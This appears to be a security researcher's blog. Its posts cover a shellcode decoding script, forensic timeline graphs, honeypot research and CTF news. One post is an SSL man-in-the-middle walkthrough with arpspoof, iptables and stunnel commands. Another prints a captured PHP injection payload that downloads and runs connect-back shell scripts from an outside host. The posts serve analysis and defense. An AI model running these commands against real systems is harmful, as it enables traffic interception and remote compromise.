Virus Blog

During the analysis of malicious PDF document I sometimes encounter UCS-2 encoded Data, especially the actual shellcode is often encoded with UCS-2. Thus, I wrote a little Python script to turn it into readable character strings. It can be pretty helpful from time to time, just pipe the encoded data to the python script:

import sys, collections
def rotate(item):
        d = collections.deque(item)
        d.rotate(2)
        return "".join(list(d))
if __name__ == '__main__':
        encodedString = sys.stdin.read()
        liste = encodedString.strip().split('%u')
        liste = liste[1:]
        print "".join([ rotate(item) for item in liste]).decode('hex') 

I am currently playing around with the dot language of Graphviz and wrote a little Python script that turns forensic timelines created with Mactime into a dot file. These files can also be loaded into Gephi to apply different layout algorithms on the graph.

An example of such a graph after applying a layout in Gephi is shown above. This timeline graph was created from the Honeynet Forensic Challenge 7 by using Mactime's CSV output and then parsing it with my script to turn it into a dot language file. It is not the complete timeline but just the first 500 files without the initial installation files of 1970.

The upload and share service plunder.com seems to be hosting email addresses for spammers too. For example the link http://tesla.plunder.com/$5WsdkdGmsceAcsWsDym2mL96URXNqZ3q/986ac9951b/file.txt reveals almost 8000 different email addresses that could be used by spammers.

Has anybody seen spambots using such files hosted at plunder.com as input for their spam campaigns?

I did a client-server software assessment recently and needed to perform a SSL MITM attack. Since i have not done this before i decided to document some key requirements. The setup here assumes that we control a host on the same LAN as the victim host.

First, we need to enable IP forwaring on our attacking host to work like a gateway:

echo "1" > /proc/sys/net/ipv4/ip_forward

Then, we need to install the dsniff tool suite, as it contains a tool to perform ARP poisoning, called arpspoof. With the help of this tool we can force a victim host to route its traffic across the machine we control. Following is the command we need to execute:

arpspoof -i interface -t target host

Just replace interface with the network interface to use, target with the IP address of the target machine, and host with IP address of the host we want to intercept packets for. In our case the IP address of gateway machine.

In case the application we want to fool uses DNS to find its target we can use the dnsspoof tool to redirect the querying host to a different location. Otherwise we need to intercept the specific SSL connection at our host. For this reason we create an IPTables rule to route, for example, all connections that target port 443 to our fake gateway host:

iptables -t nat -A PREROUTING -p tcp --dport 443 -j DNAT --to-destination 127.0.0.1:443

At this point all connections to port 443 are redirected to our machine. Since we do not have the required application server running we still need to forward the connection to its original host. For this purpose we use the tool stunnel. This tool simulates a SSL server on one end and proxies the request to the original server by simluating a client on the other end. The following command starts the server:

stunnel -p certificate.pem -d 443 -r 8080

This opens a SSL server on our host to which the victim connects and redirects it internally to port 8080. At this point the SSL encrypted session is terminated at our host and we can investigate the clear traffic. Next, we need to complete the connection to the original host:

stunnel -c -d 8080 -r originalhost:443

Now we can  sniff the traffic of an otherwise encrypted SSL session. Of course, this process only works if the client does not verify the server certificate, which in this case is our own that we provided to the stunnel. From the server-side it is impossible to distinguish our hijacked connection from a legit client.

Well, this was the first CTF game with a complete new team at Munich and we were not last =) However, we concentrated a little too much on the side-challenges. Anyway it was fun!

The dCTF was not a classical CTF game with flags and attacking other teams, but a story-based CTF with challenges to solve and a story about robots which are about to take over the world. The challenges were really good and it was fun to play. I am looking forward to our next CTF at the end of September (rwthCTF).

One of my students recently finished his thesis on the topic of dynamic sensor allocation in order to maximize the effectiveness of honeypot sensors in a network. Although the resulting software was tested for a short time at the end of the thesis, we are still looking for a larger network to perform a more long-term investigation. Any volunteers? The thesis is available here.

Abstract:
In this thesis a system capable of borrowing network identities has been developed. It is not visible for network users and can be easily integrated into existing computer networks. Test results have shown that such a system reveals a great potential and could be of a great advantage for honeypot software tools, like Amun.

Finally, the book on client-side honeypots and exploits my colleague Dewald and I wrote is available. It took a long time to get this work done. The book contains valuable information on different client honeypot software, exploits, and ways to analyze malicious websites. We included a lot of examples, thus anyone can repeat the presented evaluations. Amazon has listed the book here.

Although its already been a while, we presented a paper at the Sicherheit 2010 conference in Berlin titled "Towards Optimal Sensor Placement Strategies for Early Warning Systems" and won the Best Paper Award. The document is available here.

Abstract:
A network early warning system consists of several distributed sensors to detect malicious network activity. The effectiveness of such early warning systems critically depends on the sensor deployment strategy used. We therefore analysed attack patterns of malicious software collected at sensors worldwide to determine an optimal deployment strategy. Our results show that due to the small numbers of attackers shared among networks, the benefit of large-scale sensor deployment is rather limited. However, there is some evidence that world-wide geographical distribution of sensors has some beneficial effect on the average early warning time.

I just noticed the following exploit hitting our Amun honeypot installation:

 xxx.xxx.181.165 -> xxx.xxx.153.105:80 (HTTP Vulnerability: http://xxx.xxx.120.69:80/cb.txt) (Shellcode: plainurl)

The cb.txt file contains Perl code for a connect back Linux shell to the attacker. The exploit uses Remote Command Execution (RCE) to get the victim to download and execute the script. The attack request looks as follows:

GET HTTP/1.1 HTTP/1.1
Accept: */*
Accept-Language: en-us
Accept-Encoding: gzip, deflate
User-Agent: <?system('cd /var/tmp;wget http://xxx.xxx.120.69/cb.txt;perl cb.txt xxx.xxx.5.30 80;wget http://xxx.xxx.120.69/cback;chmod +x cback;./cback xxx.xxx.5.30 80;cd /dev/shm;curl -O http://xxx.xxx.120.69/cb.txt;perl cb.txt xxx.xxx.5.30 80;curl -O http://xxx.xxx.120.69/cback;chmod +x cback;./cback xxx.xxx.5.30 80');?> ;
[...]

The exploit uses several different methods to execute the same script. I will try to investigate this incident further, as soon as i have more time, but i guess the next amun release requires a Linux shell emulation module =)